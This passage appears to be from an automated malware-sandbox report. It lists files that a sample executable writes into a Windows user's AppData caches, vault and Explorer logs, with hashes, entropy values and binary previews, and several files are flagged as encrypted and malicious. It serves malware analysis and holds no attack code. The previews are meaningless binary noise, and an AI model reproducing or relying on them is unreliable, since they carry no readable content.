SHA-256:	93A27AB854DBF8D03AD6893B72139408F8AD1EE13FC36614DFCC356B37C77391
SHA-512:	79088103205FC030EE7DEA9870DD8D17E43F47F227182247FB3FF2669EB1F6818E90DB25401689FB24EADC23D91285CA94A3A9C0D3B5E93F0BA69E5F11591EC6
Malicious:	false
Preview:	{.".T..L......I<....KN.mu>R...X.I.\|...z`..r. .T...g...&~.....<X.Y.............O..d.g...!{..h....D.;...5.M....1...a.z.s<.K...A./.I,...[.?.=.ZkA..8...R..U..#...(B0I..v......Y.B[v.JRPE......kd..B..V.{..$..i.@.L^.....CZ.h+..\(.....Ve..l..=Z.....:......Z.h.....9.s.".Ld[..v.3..8"..5.$..W.v...~.~.J....~H.VK..=<].G.7..1.d.....W5fPF..l4....oy..Z...+....C..wd..... ..q.m.5..s......FH.v/<bU..6.P.. ....V.\|........0.{%x...VG..B.q/...dp]7......j.D6f..5...V._I/p/...g..$'8)VN.A...L...5..a&.1.>}.ZtDH..>C-....C....%..@...K..$$7.Rt.F\|...Y[c.....(.3+.&.<1.+.......L.["..<..[!W...c........MNV7.>9M...qh...0.x3.y._...:.9..f.p...N.?O]....x+^....D.J>X.T..y...D.+...@.."..@..c0m.ZdTtX.q.0.2&Q.\|.....b........{.?.F.vv....f.sd9'..2P..W..Cf......;.x........[q.....(h.....o).O.h.x.y..]..?o.........k<j.'j.c+.z.c+...`I.Xe .~e.^.-..$o.@..L...........[......U.G.p#..k.4......*.....n......q...H=`....<..5)2....;=.....)..g..."...U.....j........'D.v..!.IQ.E2Y-..(.../

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.929553171050828
Encrypted:	false
SSDEEP:	48:GtydBgScptFPas9hpfXgDeyj9i/+VH12DzvAV5E2n8fiFD:GtydiScptVn9f/Mj9DVqzvb2nok
MD5:	B29C37DC088F8BC36ADD04D3C851CBCD
SHA1:	BE638D0A369DC64B47AEE857B3B6C30F7942A60C
SHA-256:	7E0B4D99BF09EB9DDCCC19AD7BE44DFB9A98751A168D6BCDD577BADA9673CC34
SHA-512:	C02DA20C7E4390322B37648B29D3F121149DFB5F5F064C0CEF80D30734833B8DE90DDA4982DC48F161AB8679C3E8809E02A34E825FD0416AF191E3331586ADE0
Malicious:	false
Preview:	{.".T.e.h.c...7....V.X.t@..EX.8...k.[Z.~.#p.G.GY....~..%m.......s..F.....9.GE...r.vs...:..7...I......Bh\|w.x.>Ja`(.7D[.X.....u.\|@a<.#..i....7...SJ+..20...=.u.4...Ou.\|.....`%.4...o.sZ....~..8R.bI..2......5.Y\|...wa...a..i....[.`..m}(....D..1......S....6.....&.N.#BQ..,.B.P6U......QO`gU.5........0.l./T-t..h...:>....jX.~.]...~..+\|g.3....>.#t."b..B.......A..+x..gZ>g..t1!.Q.~.X#\|Z.Q.3m."B.=r.'.,..1.'9.1..Vv...#8,.9......(E.%..C.n...+..Bh.3\|8.xS.g...k.....6Q=.%...?.8. .rN..J..6ef.(..^....r....<.6 $.v....`..........G..iXZy...\j..'v...8.....`.?.t.......n.rB...\|w..#..V..^.0.%....r~..Q.bMq8].....aXd...g..Q. 1.>..T...7....q&b..S.E......d@..F.:.@...{..'.Yu..X'i........:,6./R.0.P..f~\...R.H.FK...G.f...:...s..l.....>..`.../...vx..).#.,8n.......C.qy.CM,.......4.....R.....f.R!Q\|y...=.I...b&..]L.n." ..Z.4?..Q..9p.A.u..4~D.Si....g......f..o....G...)........c.v.........u..^..x_....._f..Uf?....+d`.z.......Z....E..[.L.......I."......BU....o.8..t@.S4..-Z

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.919213407169021
Encrypted:	false
SSDEEP:	48:KQ5WIoadn5GwkpWbbJnpxrDuHIW03T2W1v37SglmhV6B6n5sxLJD:KxIoyn5h0WbbJnXfAIXTjNLSg8OBGy9
MD5:	BA65676DF8544B088150D253FEF4A8F4
SHA1:	F4CC1E5B884752CDEA35BDC7727E2DB7495AC816
SHA-256:	D9C589A8BCC39B9680F3595C8E1D183D1BE18C803A6D217C4F3CA0AC2747913C
SHA-512:	6C4DA1190A08A71EB280C10DB961E5E5281886EEE207433E929AAEA9AA27AA3E980D527C6776EEF4B54100E2B13705B99B90AD9C22D7294A85ED8A735497075B
Malicious:	false
Preview:	{.".T....A.....]8K?/..\W..)Eq._...^.I.6d.R?..N]>..g.^.5..?>.....B22..B..D.H...R;..d.N}..\|D..@..(......94.I.1........7x.6.+...i.$....=....B..l.`O^..vg,....N@..+.GQ...7......$"..N...v..z..R....^...1......L..T..Qb.-.kc...g.....}.B6.H..j.6h...........c.@jr.p:..&.;Y..z.....Y.1u... .Q..8...u.....f..\H..Mp[.y.,l...k.th.L..z..d..1u=m).,%'...k......SV.?\t.L...b.$....\|.5k..S.C.8.e/..-..3Gw..O.s.9.b.m.+}.>.].D...^!..j....(.O...wV..+.P#...J.U.....XN...Ac..# ..e.-.%.Rx{...;...4....._.6.">T..z....3....mn..w.v.........M.1h9.H......bfM......~......G.....JWVJ..q.F]..@.q....+q..d..\|.&z...[....Q..F....s5;.\(......<...0...l.;..(..P...B8.S.......F.l.1....<3.3.C......<...?=...ld...L..[o~."......%...\.g.@..LI[0.HP..Vj..~;.LR.......B.......$W....G..JM.oA......[w.y.7.]..L..bD$.....+..}L.....0...h.R.A{..Q...F`....J.6j.......kI.]KMw=.k"....W.x~..CT........@..mB.nMx.....95...<.."..L...-.VsU....]Ge........u.e.!+5.......C....y..........}LQ.h.{..

C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.695192169172987
Encrypted:	false
SSDEEP:	12:Z1lhmJfwFiHmuIZDJtysmp0vXzIaTw0ddll1N2lrLST7N72tpa1+cii9a:/lhmNhZIB40vjnwYP9mfSXNOLbD
MD5:	89C2428501F902ADD010368D1EFC547F
SHA1:	62F9C99F8D108913E4F06E93E88AF0E3FC5D799D
SHA-256:	ADE83937CECB9D6B017B2DC5B175D712ADBC390E78CA77308812AF32CFB24E41
SHA-512:	DFCEA56A425032BDE923747FDDDF68FB4643DF1C93D91848F701D04BAFE3FB2E20551EC7D7235BC3AECD58573C8C11BAAD6D925E6782D2A50B1843F1819BC8F6
Malicious:	false
Preview:	....Bq.6.Gd...G./.X.......U...%...^G.,.<... X.....x..8........V1.....Sl..)~...........{.,$4/.Q8.3..d....!jA...K.5..=.mp:sm.....D..d.......p....s..%Y.lR....D3i#l...[.^.C%.l.C.%.....f.....K=.o....])..8m......7.....y.Xt-.s...s..iE......y...K.K..Y9#.Lv.:.....>=U.r.M..)g.:2VD.."..............h.H......m.P\|....k9..Ln}4.{.9..L...........O....bW.uR. ....9x.P.....y.H....,u...s....._D..J...n....s.\|...yC?...v....y......@VV.'..l.8.`.*e....@ct....6X.k.0._UV.G).....R...!b..J....9&b..K.#j,j2Z....jE...:..{..x.Z.V..9..:S~........s%..o..d&nx.r..3,Qdmw=...o.2D.<..h3...Fbk....d..}.EpS...t...lWV\|a...?......\......F......,.z0....HU.......z7.N...L.....7.\!.:\|$..{SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\2057\StructuredQuerySchema.bin

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.331687968135361
Encrypted:	false
SSDEEP:	6144:VJPkTAzfWPaPWlqt+PBASrYDFttm+vyJfbnQkK96B88yKv4bWTmTvEiLSB:VxhWPRqt+JTsVm+6dF4/a
MD5:	FE396F6A39435FBD8C45DF3814851A81
SHA1:	9D3B8FEEE16043179F79150CC8DB37462E815D6B
SHA-256:	FA9D68B37FFC3DEFB04C5D413497CB582BBADF9F6A2E023B3C60C5C47EA10034
SHA-512:	6D1A7EACD229B24C310EFA33A48F74D1F350E97E85CC48C7B39A4D882EC97AA58D207F282E6908B58D5CCC4ED17137A67925766BCCFB19148DE0D78A407F6B5D
Malicious:	false
Preview:	...P.e{2~..!..Y,.]e27(Rtc..c..8...<..D..V...<..5...r.....&.X.\|s%6.Q..lH9P..e........#H1.[....toL3.K.....nU...e.%.U.{..C.:v..f@.....;.h..7..\eK...Y........%..2.t....Q..#.Xc...j.Z,3....4Z......B.Lu.iK.$5F.+...xw-..y.ji.n..!7.M.'.#\|.....h..........p}...D..Z..l)P41.?.(.......8g.....Q>w..[.I.Vb..]$+j.....`....y........P)u.....,.....yt..n3#2..b.(..:F.o<8..q)....x.<PKZ..cn........M....Y?s.J.bUh3...N..}h="..:......t...X...t.\q......\..N...4.T/0....Q...5....o.`.}1..p.%......;..._..l...^e.9...0u@..4...8.wR.v.5x..`.+.."..`...p..........<.P..n%..{..p\|..@P..8+.<9.H.L...W...lO../.~j...lM.?S0&n....Cy.\<.o..#j..s....}.Z...\.P.:.....r......@GWl.,..]W..]...5V.}.%n>.uP..`.&/...1w.+.[..e[...q,.....U&...,Ie!.+...C..:..\..q.S{.T...y...(.K'....A6..H.%.z..1..,qj...?.\|....oK..C8^..Y.a...8O.....{.`...ty.).mA.,W.8.-.m.....6.K..%5.bnB..VAa.N.w.9..=S..,....+du..lf...K..8k....T.6.......Di..`c8i:B.....b...k..-.K..........\...?..._..e.q.ZF.......Ck.#Ybc...onf.JuG.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988491854153063
Encrypted:	false
SSDEEP:	384:lh1AMDZAlYikkU5B6hHwncnS2xgJ1p1s0+zH/1rCYwVtq1C/A3PVzRSINVnr:lwMDZ4YiQB4QcnSUU1YHzfBCYwVtqKAz
MD5:	A053AAD8BA73CB000DA9E242B0DBC3A6
SHA1:	5E69B13646335C8938F2EF4F72FB43C264305370
SHA-256:	F8AE4E7D73E38A9C14DBAB5204EF0D16F750982F85D761E3602523880DD50A5A
SHA-512:	A0D722A8B662F66D39C76866FB6D67E802CC71A5D17DE7A513F2F211AEDEE316E37D331819F3A20821D32DD851480C1BDCD0C16E4F4EE14B7EB9F7F9201FC41D
Malicious:	false
Preview:	.... .4....._.5...a.%....cQ...O...]....e..L...Z...^A$.A..C?tmL.N.}}.70.].p..".`.../p.....7.EA.[...M.N+...\.....))........i.=...t.<..F......\|.....iK.z:....%poh...]........X.8...I.%8....l.fY5bS..q~..L..v...i9..f>@G........5.o;.\..W.sD.....C".j....."LV..._k.8..\|...B.Um....nh].".....%N.X<.z.@. .B.......4.s.b...]....4U....W..D.....Ty..L.!..^...=....Y+...K..a.o....F."0#......H..~.Y.A.:......4q.de+...i...-A..^....".gl...\..._.....Z.[..ae...........s......F0X.^3.n...n.Yx.+..i$>Y`...}3..\|\\.2....P.?-D.."6 .o.....0v....-a~+..I.h..@....;KT.F}^..h....z....?.....<.....H.G...o..T.....7..'V.D...0..4..(.3.B..>.k/...S.H!...,....4....$.E.I......d..._.\|..2>r".3.{..-.a#.zRL.....o...tg.B....$......T...`...J.k.P[D..5]Pi....J.L........."./Qb.v.7...g..~.....q....L`.B...4l>9.\F.......P..'.,....J6.I..HS....2...*....!e./......U42w(.O.J.CG5.j^(M,.}..i[..6.&a:.e..4C.X8.qL...Ej..=.....y......;...K-lF..ET.`.T...0..~.&.B9...o./I...j../..y..O\..v]....@....

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9865763963822625
Encrypted:	false
SSDEEP:	384:zFE1Zuu5GiiG30K0LMDKscx3DSM9uGqqZNoHeMWcN:zwQfWxBDKsgD0vhHeMnN
MD5:	9BEEB08FF1C400E2AB9BFB2947777D53
SHA1:	F79EFDE94BA93B111042C3C67CC0BCAB89889ABE
SHA-256:	CDB50E087B0463AA9B160DEC88409DFB5BB36FBB36F7EC4362B465DC78B94EF2
SHA-512:	9EFE8B8A9E94E224359E0FA88E89B24BFB2430CC0E8EFC696DAAD5C5BDB380E503292C83A65E53D8E5C6E060319623E07C9CAEA0402C57728B4452C95773B830
Malicious:	false
Preview:	....`.b.%...AUQ;...y.a..&.g./...G..x...q.U<..d.b.....f.. .u.Sgq..S..\|3...Ilz'.DL.Q(6...[.u{.U.t..j...9.....I...FV...!..a..kg..$....."...J.v1....h.q..gH9Y.P~v. zl.>..y...@.).Dr77.h}...in...}0.6....nr.(..\|{.:.x..v.......6....y.[....o..........{].Q..y4f...][w...I54\|cY.............}.[3..3X[wH}s.m..{@...mxg.)..u...l..^l...vI.d&......q....g..0...=,ajDa...\$....7...D;+.C..k.(...U.....Y..mI.~.r.. ...lL.E..1..J..A...D.......(.+e.]..z.....,U.....E.3ec..#..\|.0.# w.$H.!ijE@3...(J9....C,3.E..!2pe?...m.....dr%.>..x qm..`...:....RZ.....4"p.d:~..\|..W_......m,5..B.y..on.tPZ...._............%~.?....W_.....I...!F...[Kr.>Hn...mA.k....>..{.....;...]....~..yx....k...\...>......"o..).PH..8.....%.N#Z...Pd.k.\Qe/......<~..>%..=.c\xW./%..a~....T.B..Z."1C.^(.k.=..l%...e.\.L.%...=...k.~.H....S.5[.#.=..G..V....`%.D.&N7....P...X..N..n\.@.....!...;`..0...*...)N.jW..L..3...SiXK..K<n....!..7.S}....>u.....V8X...2...b..1...o.b.Gc..D0.7........G...#.y..o.".ShmF..=Z.BfM&.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{2FE9468C-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.3334863114399
Encrypted:	false
SSDEEP:	6144:BETtfD9yMmwpgz+y0Z8EmlaGPcm+vyJfbnQkK96B88yKv4bWTmTvEiLSs:MFp3mzuqNgGPcm+6dF4/v
MD5:	694E7314683319074D9F1CDED0C92105
SHA1:	5D966672C436431050494BCB26E30596ACE0F2D5
SHA-256:	A3E06E08937638816DC755BEF8A4D814860A7E5627EC73BDAF3F57AA7D8EAE79
SHA-512:	A552A3447101CB233113294FBFC764A12460B1C73AC326C9C04B00D323DCC21EAF34BAFA23729135F3E0AF46A4A4AAE6CBF32E4BF7ECE93E5BABA3D19C92F63C
Malicious:	false
Preview:	.w.. ...0...(.Jo.m.\|..[Y.o.i.C.....MK..z...>....R.r.K..yD..QC..)..r....y".=y...F.;/zK>....[."..C..:.Z6FDkOMe..2.=...TR...G........0: =.. .y.....C...K.}Q....4k..7A.%..o..`[.%.G..4,H{.......FB.s..<j.lC}u....Nk>....fl1:.........A...%......W4.41.P?......J....G...}.n8......[q..~..t...^.H... d.v.....Qt......k...R.A..w.=.....Z......z..j.(f~...3}^d.6.L.kz...b.uPn .u:..oi.c...`7..N.%......./.'}5h".....'...pS.@.17..F}......lf.0.D....]....oz.......f.=.....x...2...@.l.g..........-......=....M2..Dux\|.X$..{.W../...7.)....ls0\|.5x/.+Rf....J..}n._..8..\k..3...-K!)"z..m...OG...yMq..BJ..y....w~.).0=p.._lb].T......5.....J.S."..8.6..Z"."..C.~9..,B.X..;.\....{....".._...D...7.b........Q...f.j.%..l&Y.=y..s.l..._q.)k....%...s..)..B.zz.e..U.)/...zps>..V.^..u..G){...0..p.P.\R.#=},w'Mm......u..{.r.....h:).X...FcTd7..8.*....8w..M....\..e#Y.$..PT.bF.<.k.1k......x..n.u..i.b.....J.`.biS^....U...j...1...!.l.yOy..V.......%._..5....a ktX...i6.....C............U....u8~}A.....

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	104886
Entropy (8bit):	7.9982602434596295
Encrypted:	true
SSDEEP:	3072:DB6QPSU2SSLbF3wI9c++kNcywLW2YuZPUoyx:EeR2RbFAI9cORcYQUH
MD5:	F783BBE2F78FE1E2BB943E4487428B8F
SHA1:	59A0B034FCB49CE6C24A0DA829805281EFFCC530
SHA-256:	B0EB514D5FFAB91F2DB3CC31C01E6D5E0DBDF144B0E260DAB208F1AD8ADE06E9
SHA-512:	9ABA00D638BE2615F00408A2478318A9A6470ECD9E527084E91BEB45416D59CBEC83D3B71CC3386F71D637B21AECA924BE481DEE5411EE69F76508137FCC6E2E
Malicious:	true
Preview:	....h.>^F..2....>\_.....')?.....?...U...;.M..".-..W.G..o.9.X.4..@.X.q...^..K....'K..Q.3.7.HI1P...m.N..x;o...A02...\|...i..<n.S..j./v....r.{...x9'.A.0T..o.Q ,...~...!.T..`..2qM.S{.$+.....Q...?.4M....3r..V...cla..........hf....F.3.......R....b.!.....W......0.,.X.{r.8-..@&.....&^.2..x.....g..D...]....0w.....1.l.{..E....$.:.Nx...T...SZu.M.53.r............g.5A..`.c.Zf.%l~..iO7q....l..n.D..Mh.i4....^....q...X....`........9._;...HC@..c..I.U/.)..0;......p...rw.+....l..,.a,..?/.+@ hQn.7K.z.t..L....".G1...O.o~Q......Uc.J.A.......:.............3.w......c;..l`M.\|.V.;........y...."@.].$..$..<w..d.......,.J.1yW.N.Oi..2..].y..6.. X.a..o.}.%.@n+`?W.a.PB..R.7...'..N<........?.'q.9B\.R..0....Y.-#S. \|&.......!..\|.y...d.H...G..........I&.y.....D.?8W.3.......az......l.HAC.`..3...(..i..y./n...H..=.X..]z.k.......r..5.\|..~..mC...M./...t.n3..7_...Q.1,vf#YSa.=.].T./..,P.y.].3..k.J.H0..<..Se.b2.P"j.\|.n.N.V..0..M..\|L.......;....J.....j-b...(...?........8...N&...]

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	103638
Entropy (8bit):	7.998026762925561
Encrypted:	true
SSDEEP:	3072:cUBqsVlkVmujnAeC2LfUtbliiT3djpYQR/NMYBWZW:cUBZjkZnIOUtbliKdN3MpZW
MD5:	39FDD09EF6F8B7991DF4EA7242F796C6
SHA1:	04D5EAB913652724EF43E59268FF09C1570FFF5E
SHA-256:	C6BE3FE7948F07A0B933DEAEDD4F78E82197E1A835BEEAE7FD023E38B13795FA
SHA-512:	713BA74800BD8B7AC0978F98F4FD11AE78FE11C72154F2F812D4CD5B0705B73D449CF389F0E363DE4E1CA1EE7DA8BEFA3F1A679214877FE60ED889D12526C81D
Malicious:	true
Preview:	....he.8N..TO..!....H.......5....<..'. iW......r.('...%.z.....m...)q.-.i#.X.q..t..W........i6?..P...3...1.:s.5<..D./....@.;...).Y..$.2j...lo,.i..5.M[.1e.^M`...To@...S.k.na......\..).-l...P.M\..n.{.M.V[`..v....7.b.....@.QO}.,)0.`g.......g.....9.tA._:=.....'.Zo.S-.[\|1.4...i.D{..ZI&..r...I...i...."x.....OW...$+j.XV.-.(\|i.tD...T!I.9.h....-....\|..QZj.2fk.......10...G...Y...Q.y...x:..^P......E..J...:.......80..,.<....>.#)p$.{=y;"!..O..7.s...t.. .....OTn5.s....-Y...Y.w.B.......&...\|7i)2......._1...W...y.Z......W...p1...Q..G4&.......FpW.:....].2a.?.Ae......P.F.J.....N.D......w......P1..:.C.f...Gwx....=/b.F....bV.(....A......l."......,.:6.....Q...>..7....Fp.pY.l..c.i.%..1..O....'..2I":M53.....5.(=..*...&.......l....+>....m."..B.f.iHJn.>......-.......C..@...%._)HH...~.P._v,..2...R.75...1..~r.fdQk.%...?.....w...Z1V.....O.)...v.. b..r{........h#o-]..`..;...c..F.!..r\X~..2...'A....F.......1?+J[`.;.....D.A.,...p..P...].R....r..<.M l.z#.H..j..1.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	56862
Entropy (8bit):	7.997179806274926
Encrypted:	true
SSDEEP:	1536:NsMLb0D2RstPhlUq0Ylg9kag/mloooPVlu6JMivjj1Qh0X4B:Xstn7cgeo9InWj10N
MD5:	730F1679B25145FB0B79FC44DA022B5F
SHA1:	A4686835D590B57E346DAB26F920D877DAC0C826
SHA-256:	F78E518E4954A59ADA4D4E5FC1E422DD78D1696945A482414E053EB3B27CE1D4
SHA-512:	DA51AD8073DB6899EEB9A9A32D1CB866DD65C0299C65BD28322EC39704FF71186C7C50179CAA2D0FD8E2050FF6FD2130D2FB75C306F458D5D1465A8282291BC0
Malicious:	true
Preview:	......j.B...{.g(~H\3.c..#.QAT....Q....U.(..P.5&...1....$.6.vUK.....k.^t.5h.b..H...l........`.....<.R\....v.Q........N;..........,...%J.]..\|....oax"q.....^....,eD_"......Y....o..L..s_q>..7.........!..V.I.`7...D\.Q\.\J..?TN.S.u.!...<....R...7..i.M..8Qo..i....]q...q[<]>.Zpe.T.....89...b..s_...}.c..I+{.HT..b.E-.......7..I....c.)h..8.{....K-..t%..8...I....}.g.....~...&HC$....qD.<.MP.9..(...#.:..lD.?.2.-.(u.k..)...x6.Hx8;....T..K .5.........&....m...v..`...Mm..v}a.8...8"..6bd._(.<.\|b....o.O..3-..o.S.}p.......ctm$....8...nq.5..Z."..\|....M.?.....Ox...)..p\...G.+Qm......P....r....v...k>...//...4.....L.@......P...J.&..Z..>.Xm.dg.q........,.a....\|.C..k.6Q....zM...\...a9;.3.0.l.u..I.\o.H".s..\.......F...H!.... K.T7.H.C.5_..^...2.f36.e....3N.T.}eAkB..)TTi...u.3......Y..\}c .......?.9..B.......Cx.C..m..J.....y./.....x...........hp...kPb\...f......0..a.C.N.R1}...H........S.9...M.....3.0..=.t[\.H.`.,..........#.s.=.-...F......"R:h.vy.[\.*......l..F..d....E."

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	75358
Entropy (8bit):	7.9975697008688105
Encrypted:	true
SSDEEP:	1536:qSM0V5RwuY3RtXFU9SQa4UdxFddCQueGvOJDcGF697kdKO6GE:tPRbYBtXgFUbFme5JDcw6NkdKqE
MD5:	66E4BCFC06679936DEBC6B46EEA50B9D
SHA1:	EF064FD82044E280314B2CE18008963FF8580FEE
SHA-256:	4DF6F0BD1BB4D87BD8552FCDF8E751626B11E50F688E6A532FFDEB7A7DC888C6
SHA-512:	77D58087E8AA159FFE5E6A3F3E2391DDE88599A321A82A50A900D284B0E488E00B5F2BFEA773A9CFC2F14E06FA82C54E1E451A06B5A84067D5909616DB76447E
Malicious:	true
Preview:	......H...U.....f..>`h~..9.x.B...$g.5.....Y..2.y.....z.8MPD.O..je\q.~.x.Ut........?..'r..0%.r.......`..F.m.lT.{..M.Ct.(......6V.g......N[....<U..q.......c..ey.....X.].t........Us ..7.M..?$.pXk...b.7.P......u...A.."..h8.....;....4.@/.Lr../. .=i~.l,.s<y......?M..i?J...#....c."....l..\|0%O...$..6...sj..D....[.d....c.....X..z[....!..8..{.+..".O...w.j.s.T......:R{.Sh[...O."..@.;.e.E.i%B.q.e<].W...G._..EN_8^.t_..G..!.xl. ..iN..+n....."...&=.y......#j..).yu..d6J^....qf1.B=.(p...,r^..l..G..G..,..#.}.......P.....8F..J.p....I\|-bp.....o..aE.......{.......Lr.~..@.y_z..X>.....O......#.?.`y.&....Jge.svUO.=.[.qB....6...<+...1..&.v.....g.e..0._A..c.....V..B..C.......+B.....G'...#......w.=E...F^B.-..R.}...O.......{...?.....G..q@.....L...3..b.....7..;....G..+.&..)x.!.EX.O3.u...S.-......bU.#....3..il..H..%.r-.B.YxgT...wk.D.....+..^...u.^./s~N.^....,..p.J..P.c.@2.........?....)- y.... ..G2G.......1bi.......c..Oc....$.{R..'_(M.....[+x.d.....j....0R....qG...tBD..8.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog.etl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.819416074508375
Encrypted:	false
SSDEEP:	3072:VBV1SvH0wrf08MF+mmkFIt0J17Grm8Y1AjCSIhF0O/949ZoJLy7Q2vHGr6dmrncx:V2HM8jI91zCjZCmH9QYG6Wcx
MD5:	9E48B71472696956E9375772DECC23B0
SHA1:	982D9F09B7103EC0E92928E945457CCDF4329CFB
SHA-256:	F751E0EA0ABF23A7EFFC8FF977B3824D955D9E0080CAC384AB609078CA3690D3
SHA-512:	CBA01D87ABA1E91063E192D8BF77F5BDE93432EEEAD6C270CA194C2C950700EC0DF3F0F058E3DFFEF3255AA0457D24D17443C08138ED85053D2B04EBF7278DDF
Malicious:	false
Preview:	. .....:..p..~..we\|....0..+j.[.1Zl4..WL.....e<.....v..4G1.!7.E6..cd^Zw..g.wu..}..2...`.._hz..)..wd...>X.R...6.rm...$\|..!.Dw..%(=.........W[B......__."(%..#S....M.o\|.../Sp2.Y..GW=.\|...A........H&.ld...8j.o.Y.g.N.;v.D..x$.T],.......({..9[.....WK.....(.9).........s.....Kxmn...$..3.v..L..E.....xa;L....=...\|.4.3..{.`S......wcK.)g.(;..+.c.....qxj..m.`.........,.6.....%f...8HU......#.)na}Qd6rw..6./R.t5_..2.....!7..V.-....e....:G).1x..........c..)..........x.y>.I......P?}..d.m...P$..b....:....s.c.....qeB. .#..\.......pX....4...H...sU~.X.....u%.l......3=.4"..$V{..........6..K)4......cx..C$1.G....F....D..I.q3..]...^..W....~...Q..Or..._.U)j-...^.`b..._.~A...o.7W&.If/;...'...^W.T#...W.JR+:.X...9..S.../.F.!.H.Py.8S.y..toc..X..o.....o]C.9I.7.c.C@..b...<..b.1.Z.9.u.E+>...9...r.....r*.}.]..?vV.\...Z.t....b8..r.....(.u.}......y.T.n'?..,Z.f..-j'T..H...{dQ.<..D.~f%...].b.d.Y.t1A..(./...h.t.....;M.6J....C....[fQ.oj..e..c......T...u.Mw.K.%jlC../Y.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.991895378572454
Encrypted:	true
SSDEEP:	384:bAjVnZX3n37lOs67MLqNc7WzayhMOHA/tpjF+Y+1TkSmsTPELHzbmSuw3yAZHx2U:b6VnZX3rlQ2Tc1hmoY+BTtTPErkdWsU
MD5:	85E5E24B161537C869112602906CEC60
SHA1:	44FD91D899D06B9BA4E74BEAA538B8D047C35822
SHA-256:	2951BE2038319EAEAC74BDA2C95A574AFAB0756A83F5CF775E5B2918F78B0880
SHA-512:	63DC24911F9B9C778F25EAA6DF1B1040621DE674F90A604AB9C3D4D7D6E06BDB09E7F39BE53BC17D6A0484DF28C2F0370A18C3BC6B98A8C0351D35CC02DE824C
Malicious:	true
Preview:	. ...o{....o....x.{.P..E^.N!.-........+..@......&..w..{..f$..{.3..w...].....n..P.A.o.....x.^g.c.l...;.\...Z...N...-N.f.NQ-.Y.c.........P.{.J.j>3.B..{....Y...o.:....{..A+........w1..Z.t.!en:D.~.i...{px.a.?...L..z..pD......y..h.=.w...HS.u.3@47?.R.._.O.ij...X...?.Z.I..:}\|..2".>S.."........V1....4.N..v..G.g2.aK.:.....n..q]O.?1...T..=&...C.,$.......Nl...$17.@.....T...@..[..aI..R....-..#.V...slc.H...b..uO......q4n...&A.v}HN..+..].A.h...l.%0...\.'-..Q.x.\#.....Cz2.....M,..I....6APS......:...;....;....++...omN^.7.....X.K....I~.:.+d@<^.....[+.P...o....wW....`@.K.C.....k.!n..X....47d>6O..................Y.b.q.U.Z\|6....;~.L...H.I".....dv...E....>6....M.38....&^A.2.!.ts...._Hu..:zmA4...Jh.L2.....h.u...nqX.IpM..).z*.as\R..../....3.@q......z$....Uz....S..7.}>y,.)`....'...o%.0...G..W...p.P.\...r..P.K..:...p.VZ_u/..3.J..K.. e.r.#.I........&.......61X<9j7... 8.Y.>.?.7..D...k....k.. .Nmi.).s.r..j..)!"R.mMzc.5....Z?...Ol..n..TO.`..:.c....._..../n

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.308762716124238
Encrypted:	false
SSDEEP:	6:aKbwoHwcuOiYEPs4+2bFltCMUFqiMYzt8Q8y3Wzbb9f38+3rzWyc3cii96Z:aKbwoQYiBPd+oFbC9xFzt8lDzbb9f33G
MD5:	01334607AB1ED9856A436132F1327742
SHA1:	6516FFE765156AC9DE0D726876742056E45B26D6
